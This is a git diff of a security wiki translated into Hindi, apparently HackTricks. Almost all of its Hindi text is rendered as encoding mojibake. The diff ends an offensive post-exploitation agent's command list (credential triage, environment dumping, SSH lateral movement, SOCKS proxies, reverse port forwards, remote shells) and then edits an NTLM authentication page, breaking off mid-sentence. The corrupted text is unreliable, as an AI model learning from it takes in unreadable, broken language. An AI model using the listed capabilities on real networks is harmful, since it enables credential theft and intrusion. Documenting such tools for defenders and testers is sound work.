рд╕рд╛рдордЧреНрд░реА рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдВ +- `cd`: рд╡рд░реНрддрдорд╛рди рдХрд╛рд░реНрдпрд╢реАрд▓ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдмрджрд▓реЗрдВ +- `chmod`: рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХреА рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдмрджрд▓реЗрдВ +- `config`: рд╡рд░реНрддрдорд╛рди рдХреЙрдиреНрдлрд╝рд┐рдЧ рдФрд░ рд╣реЛрд╕реНрдЯ рдЬрд╛рдирдХрд╛рд░реА рджреЗрдЦреЗрдВ +- `cp`: рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдПрдХ рд╕реНрдерд╛рди рд╕реЗ рджреВрд╕рд░реЗ рд╕реНрдерд╛рди рдкрд░ рдХреЙрдкреА рдХрд░реЗрдВ +- `curl`: рд╡реИрдХрд▓реНрдкрд┐рдХ рд╣реЗрдбрд░ рдФрд░ рд╡рд┐рдзрд┐ рдХреЗ рд╕рд╛рде рдПрдХрд▓ рд╡реЗрдм рдЕрдиреБрд░реЛрдз рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ +- `upload`: рд▓рдХреНрд╖реНрдп рдкрд░ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ +- `download`: рд▓рдХреНрд╖реНрдп рдкреНрд░рдгрд╛рд▓реА рд╕реЗ рд╕реНрдерд╛рдиреАрдп рдорд╢реАрди рдкрд░ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ +- рдФрд░ рднреА рдмрд╣реБрдд рдХреБрдЫ + +### рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдЦреЛрдЬреЗрдВ + +- `triagedirectory`: рдПрдХ рд╣реЛрд╕реНрдЯ рдкрд░ рдПрдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рднреАрддрд░ рджрд┐рд▓рдЪрд╕реНрдк рдлрд╝рд╛рдЗрд▓реЗрдВ рдЦреЛрдЬреЗрдВ, рдЬреИрд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдлрд╝рд╛рдЗрд▓реЗрдВ рдпрд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ред +- `getenv`: рд╕рднреА рд╡рд░реНрддрдорд╛рди рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВред + +### рдкрд╛рд░реНрд╢реНрд╡ рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░реЗрдВ + +- `ssh`: рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣реЛрд╕реНрдЯ рдкрд░ SSH рдХрд░реЗрдВ рдФрд░ рдмрд┐рдирд╛ ssh рдЙрддреНрдкрдиреНрди рдХрд┐рдП рдПрдХ PTY рдЦреЛрд▓реЗрдВред +- `sshauth`: рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╣реЛрд╕реНрдЯ(реЛрдВ) рдкрд░ SSH рдХрд░реЗрдВ, рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред рдЖрдк рдЗрд╕реЗ SSH рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджреВрд░рд╕реНрде рд╣реЛрд╕реНрдЯ рдкрд░ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╛ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ SCP рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +- `link_tcp`: TCP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджреВрд╕рд░реЗ рдПрдЬреЗрдВрдЯ рд╕реЗ рд▓рд┐рдВрдХ рдХрд░реЗрдВ, рдПрдЬреЗрдВрдЯреЛрдВ рдХреЗ рдмреАрдЪ рд╕реАрдзреЗ рд╕рдВрдЪрд╛рд░ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +- `link_webshell`: рд╡реЗрдмрд╢реЗрд▓ P2P рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдПрдЬреЗрдВрдЯ рд╕реЗ рд▓рд┐рдВрдХ рдХрд░реЗрдВ, рдПрдЬреЗрдВрдЯ рдХреЗ рд╡реЗрдм рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рддрдХ рджреВрд░рд╕реНрде рдкрд╣реБрдВрдЪ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +- `rpfwd`: рдПрдХ рд░рд┐рд╡рд░реНрд╕ рдкреЛрд░реНрдЯ рдлреЙрд░рд╡рд░реНрдб рд╢реБрд░реВ рдпрд╛ рдмрдВрдж рдХрд░реЗрдВ, рд▓рдХреНрд╖реНрдп рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рд╕реЗрд╡рд╛рдУрдВ рддрдХ рджреВрд░рд╕реНрде рдкрд╣реБрдВрдЪ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +- `socks`: рд▓рдХреНрд╖реНрдп рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдПрдХ SOCKS5 рдкреНрд░реЙрдХреНрд╕реА рд╢реБрд░реВ рдпрд╛ рдмрдВрдж рдХрд░реЗрдВ, рд╕рдордЭреМрддрд╛ рдХрд┐рдП рдЧрдП рд╣реЛрд╕реНрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЗ рдЯрдирд▓рд┐рдВрдЧ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдкреНрд░реЙрдХреНрд╕реАрдЪреЗрди рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рд╕рд╛рде рд╕рдВрдЧрддред +- `portscan`: рдЦреБрд▓реЗ рдкреЛрд░реНрдЯ рдХреЗ рд▓рд┐рдП рд╣реЛрд╕реНрдЯ(реЛрдВ) рдХреЛ рд╕реНрдХреИрди рдХрд░реЗрдВ, рдкрд╛рд░реНрд╢реНрд╡ рдЖрдВрджреЛрд▓рди рдпрд╛ рдЖрдЧреЗ рдХреЗ рд╣рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдВрднрд╛рд╡рд┐рдд рд▓рдХреНрд╖реНрдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреАред + +### рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдирд┐рд╖реНрдкрд╛рджрди + +- `shell`: /bin/sh рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХрд▓ рд╢реЗрд▓ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ, рд▓рдХреНрд╖реНрдп рдкреНрд░рдгрд╛рд▓реА рдкрд░ рдХрдорд╛рдВрдб рдХреЗ рд╕реАрдзреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +- `run`: рддрд░реНрдХреЛрдВ рдХреЗ рд╕рд╛рде рдбрд┐рд╕реНрдХ рд╕реЗ рдПрдХ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ, рд▓рдХреНрд╖реНрдп рдкреНрд░рдгрд╛рд▓реА рдкрд░ рдмрд╛рдЗрдирд░реА рдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +- `pty`: рдПрдХ рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ PTY рдЦреЛрд▓реЗрдВ, рд▓рдХреНрд╖реНрдп рдкреНрд░рдгрд╛рд▓реА рдкрд░ рд╢реЗрд▓ рдХреЗ рд╕рд╛рде рд╕реАрдзреЗ рдмрд╛рддрдЪреАрдд рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md index 68623afce..99a577e6e 100644 --- a/src/windows-hardening/ntlm/README.md +++ b/src/windows-hardening/ntlm/README.md @@ -4,9 +4,9 @@ ## Basic Information -рдЙрди рд╡рд╛рддрд╛рд╡рд░рдгреЛрдВ рдореЗрдВ рдЬрд╣рд╛рдБ **Windows XP рдФрд░ Server 2003** рдХрд╛ рд╕рдВрдЪрд╛рд▓рди рд╣реЛ рд░рд╣рд╛ рд╣реИ, LM (Lan Manager) рд╣реИрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдБрдХрд┐ рдпрд╣ рд╡реНрдпрд╛рдкрдХ рд░реВрдк рд╕реЗ рдорд╛рдиреНрдпрддрд╛ рдкреНрд░рд╛рдкреНрдд рд╣реИ рдХрд┐ рдЗрдиреНрд╣реЗрдВ рдЖрд╕рд╛рдиреА рд╕реЗ рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдПрдХ рд╡рд┐рд╢реЗрд╖ LM рд╣реИрд╢, `AAD3B435B51404EEAAD3B435B51404EE`, рдПрдХ рдРрд╕реЗ рдкрд░рд┐рджреГрд╢реНрдп рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ LM рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рдПрдХ рдЦрд╛рд▓реА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рд╣реИрд╢ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддрд╛ рд╣реИред +рдЙрди рд╡рд╛рддрд╛рд╡рд░рдгреЛрдВ рдореЗрдВ рдЬрд╣рд╛рдБ **Windows XP рдФрд░ Server 2003** рдХрд╛ рд╕рдВрдЪрд╛рд▓рди рд╣реЛ рд░рд╣рд╛ рд╣реИ, LM (Lan Manager) рд╣реИрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдБрдХрд┐ рдпрд╣ рд╡реНрдпрд╛рдкрдХ рд░реВрдк рд╕реЗ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдЗрдиреНрд╣реЗрдВ рдЖрд╕рд╛рдиреА рд╕реЗ рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдПрдХ рд╡рд┐рд╢реЗрд╖ LM рд╣реИрд╢, `AAD3B435B51404EEAAD3B435B51404EE`, рдпрд╣ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ LM рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рдПрдХ рдЦрд╛рд▓реА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рд╣реИрд╢ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддрд╛ рд╣реИред -рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, **Kerberos** рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдкреНрд░рд╛рдердорд┐рдХ рд╡рд┐рдзрд┐ рд╣реИ рдЬреЛ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИред NTLM (NT LAN Manager) рдХреБрдЫ рд╡рд┐рд╢реЗрд╖ рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ рдХрджрдо рд░рдЦрддрд╛ рд╣реИ: Active Directory рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐, рдбреЛрдореЗрди рдХрд╛ рдЕрд╕реНрддрд┐рддреНрд╡ рди рд╣реЛрдирд╛, рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рдХрд╛рд░рдг Kerberos рдХрд╛ рдЦрд░рд╛рдм рдХрд╛рдо рдХрд░рдирд╛, рдпрд╛ рдЬрдм рдХрдиреЗрдХреНрд╢рди рдПрдХ IP рдкрддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ рдмрдЬрд╛рдп рдПрдХ рдорд╛рдиреНрдп рд╣реЛрд╕реНрдЯрдирд╛рдо рдХреЗред +рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, **Kerberos** рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдореБрдЦреНрдп рд╡рд┐рдзрд┐ рд╣реИ рдЬреЛ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИред NTLM (NT LAN Manager) рдХреБрдЫ рд╡рд┐рд╢реЗрд╖ рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ рдХрджрдо рд░рдЦрддрд╛ рд╣реИ: Active Directory рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐, рдбреЛрдореЗрди рдХрд╛ рдЕрд╕реНрддрд┐рддреНрд╡ рди рд╣реЛрдирд╛, рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рдХрд╛рд░рдг Kerberos рдХрд╛ рдЦрд░рд╛рдм рдХрд╛рдо рдХрд░рдирд╛, рдпрд╛ рдЬрдм рдХрдиреЗрдХреНрд╢рди рдПрдХ IP рдкрддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ рдмрдЬрд╛рдп рдПрдХ рдорд╛рдиреНрдп рд╣реЛрд╕реНрдЯрдиреЗрдо рдХреЗред рдиреЗрдЯрд╡рд░реНрдХ рдкреИрдХреЗрдЯ рдореЗрдВ **"NTLMSSP"** рд╣реЗрдбрд░ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддреА рд╣реИред @@ -14,10 +14,10 @@ **рдореБрдЦреНрдп рдмрд┐рдВрджреБ**: -- LM рд╣реИрд╢ рдХрдордЬреЛрд░ рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдПрдХ рдЦрд╛рд▓реА LM рд╣реИрд╢ (`AAD3B435B51404EEAAD3B435B51404EE`) рдЗрд╕рдХреЗ рди рдЙрдкрдпреЛрдЧ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИред -- Kerberos рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд┐рдзрд┐ рд╣реИ, NTLM рдХреЗрд╡рд▓ рдХреБрдЫ рд╡рд┐рд╢реЗрд╖ рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +- LM рд╣реИрд╢ рдХрдордЬреЛрд░ рд╣реИрдВ рдФрд░ рдПрдХ рдЦрд╛рд▓реА LM рд╣реИрд╢ (`AAD3B435B51404EEAAD3B435B51404EE`) рдЗрд╕рдХреЗ рди рдЙрдкрдпреЛрдЧ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИред +- Kerberos рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд┐рдзрд┐ рд╣реИ, NTLM рдХреЗрд╡рд▓ рдХреБрдЫ рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред - NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреИрдХреЗрдЯ "NTLMSSP" рд╣реЗрдбрд░ рджреНрд╡рд╛рд░рд╛ рдкрд╣рдЪрд╛рдиреЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред -- LM, NTLMv1, рдФрд░ NTLMv2 рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╕рд┐рд╕реНрдЯрдо рдлрд╝рд╛рдЗрд▓ `msv1\_0.dll` рджреНрд╡рд╛рд░рд╛ рд╕рдорд░реНрдерд┐рдд рд╣реИрдВред +- LM, NTLMv1, рдФрд░ NTLMv2 рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рд╕рдорд░реНрдерди рд╕рд┐рд╕реНрдЯрдо рдлрд╝рд╛рдЗрд▓ `msv1\_0.dll` рджреНрд╡рд╛рд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред ## LM, NTLMv1 рдФрд░ NTLMv2 @@ -46,52 +46,52 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE ``` ## Basic NTLM Domain authentication Scheme -1. **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдЕрдкрдиреА **рдкреНрд░рдорд╛рдг-рдкрддреНрд░** рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ +1. **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдЕрдкрдиреА **рдкреНрд░рдорд╛рдг рдкрддреНрд░** рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ 2. рдХреНрд▓рд╛рдЗрдВрдЯ рдорд╢реАрди **рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЕрдиреБрд░реЛрдз рднреЗрдЬрддреА рд╣реИ** рдЬрд┐рд╕рдореЗрдВ **рдбреЛрдореЗрди рдирд╛рдо** рдФрд░ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо** рд╣реЛрддрд╛ рд╣реИ 3. **рд╕рд░реНрд╡рд░** **рдЪреБрдиреМрддреА** рднреЗрдЬрддрд╛ рд╣реИ -4. **рдХреНрд▓рд╛рдЗрдВрдЯ** **рдЪреБрдиреМрддреА** рдХреЛ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╣реИрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреБрдВрдЬреА рдХреЗ рд░реВрдк рдореЗрдВ **рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ** рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рднреЗрдЬрддрд╛ рд╣реИ -5. **рд╕рд░реНрд╡рд░** **рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ** рдХреЛ **рдбреЛрдореЗрди рдирд╛рдо, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо, рдЪреБрдиреМрддреА рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛** рднреЗрдЬрддрд╛ рд╣реИред рдпрджрд┐ рдХреЛрдИ рд╕рдХреНрд░рд┐рдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдирд╣реАрдВ рд╣реИ рдпрд╛ рдбреЛрдореЗрди рдирд╛рдо рд╕рд░реНрд╡рд░ рдХрд╛ рдирд╛рдо рд╣реИ, рддреЛ рдкреНрд░рдорд╛рдг-рдкрддреНрд░ **рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдЬрд╛рдВрдЪреЗ рдЬрд╛рддреЗ рд╣реИрдВ**ред -6. **рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ** рдЬрд╛рдВрдЪрддрд╛ рд╣реИ рдХрд┐ рд╕рдм рдХреБрдЫ рд╕рд╣реА рд╣реИ рдФрд░ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рд╕рд░реНрд╡рд░ рдХреЛ рднреЗрдЬрддрд╛ рд╣реИ +4. **рдХреНрд▓рд╛рдЗрдВрдЯ** **рдЪреБрдиреМрддреА** рдХреЛ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╣реИрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рднреЗрдЬрддрд╛ рд╣реИ +5. **рд╕рд░реНрд╡рд░** **рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ** рдХреЛ **рдбреЛрдореЗрди рдирд╛рдо, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо, рдЪреБрдиреМрддреА рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛** рднреЗрдЬрддрд╛ рд╣реИред рдпрджрд┐ рдХреЛрдИ рд╕рдХреНрд░рд┐рдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдирд╣реАрдВ рд╣реИ рдпрд╛ рдбреЛрдореЗрди рдирд╛рдо рд╕рд░реНрд╡рд░ рдХрд╛ рдирд╛рдо рд╣реИ, рддреЛ рдкреНрд░рдорд╛рдг рдкрддреНрд░ **рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдЬрд╛рдВрдЪреЗ рдЬрд╛рддреЗ рд╣реИрдВ**ред +6. **рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ рдЬрд╛рдВрдЪрддрд╛ рд╣реИ рдХрд┐ рд╕рдм рдХреБрдЫ рд╕рд╣реА рд╣реИ** рдФрд░ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рд╕рд░реНрд╡рд░ рдХреЛ рднреЗрдЬрддрд╛ рд╣реИ -**рд╕рд░реНрд╡рд░** рдФрд░ **рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ** **рдиреЗрдЯрд▓реЙрдЧрди** рд╕рд░реНрд╡рд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ **рд╕реБрд░рдХреНрд╖рд┐рдд рдЪреИрдирд▓** рдмрдирд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ рд╕рд░реНрд╡рд░ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдЬрд╛рдирддрд╛ рд╣реИ (рдпрд╣ **NTDS.DIT** рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рдЕрдВрджрд░ рд╣реИ)ред +**рд╕рд░реНрд╡рд░** рдФрд░ **рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ** **рдиреЗрдЯрд▓реЙрдЧрди** рд╕рд░реНрд╡рд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ **рд╕реБрд░рдХреНрд╖рд┐рдд рдЪреИрдирд▓** рдмрдирд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ рд╕рд░реНрд╡рд░ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдЬрд╛рдирддрд╛ рд╣реИ (рдпрд╣ **NTDS.DIT** db рдХреЗ рдЕрдВрджрд░ рд╣реИ)ред ### Local NTLM authentication Scheme -рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЬреИрд╕рд╛ рдХрд┐ рдкрд╣рд▓реЗ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди **рд╕рд░реНрд╡рд░** рдЬрд╛рдирддрд╛ рд╣реИ рдХрд┐ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХрд╛ **рд╣реИрд╢** рдЬреЛ **SAM** рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣рд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ рд╕реЗ рдкреВрдЫрдиреЗ рдХреЗ рдмрдЬрд╛рдп, **рд╕рд░реНрд╡рд░ рд╕реНрд╡рдпрдВ рдЬрд╛рдВрдЪреЗрдЧрд╛** рдХрд┐ рдХреНрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░ рд╕рдХрддрд╛ рд╣реИред +рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЬреИрд╕рд╛ рдХрд┐ рдкрд╣рд▓реЗ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди **рд╕рд░реНрд╡рд░** **SAM** рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХреЗ **рд╣реИрд╢** рдХреЛ рдЬрд╛рдирддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХ рд╕реЗ рдкреВрдЫрдиреЗ рдХреЗ рдмрдЬрд╛рдп, **рд╕рд░реНрд╡рд░ рд╕реНрд╡рдпрдВ рдЬрд╛рдВрдЪ рдХрд░реЗрдЧрд╛** рдХрд┐ рдХреНрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рдорд╛рдгрд┐рдд рд╣реЛ рд╕рдХрддрд╛ рд╣реИред ### NTLMv1 Challenge **рдЪреБрдиреМрддреА рдХреА рд▓рдВрдмрд╛рдИ 8 рдмрд╛рдЗрдЯ** рд╣реИ рдФрд░ **рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ 24 рдмрд╛рдЗрдЯ** рд▓рдВрдмреА рд╣реИред -**рд╣реИрд╢ NT (16рдмрд╛рдЗрдЯ)** рдХреЛ **3 рднрд╛рдЧреЛрдВ рдореЗрдВ 7рдмрд╛рдЗрдЯ рдкреНрд░рддреНрдпреЗрдХ** рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ (7B + 7B + (2B+0x00\*5)): **рдЕрдВрддрд┐рдо рднрд╛рдЧ рд╢реВрдиреНрдп рд╕реЗ рднрд░рд╛** рд╣реЛрддрд╛ рд╣реИред рдлрд┐рд░, **рдЪреБрдиреМрддреА** рдХреЛ рдкреНрд░рддреНрдпреЗрдХ рднрд╛рдЧ рдХреЗ рд╕рд╛рде **рдЕрд▓рдЧ рд╕реЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ **рдкрд░рд┐рдгрд╛рдореА** 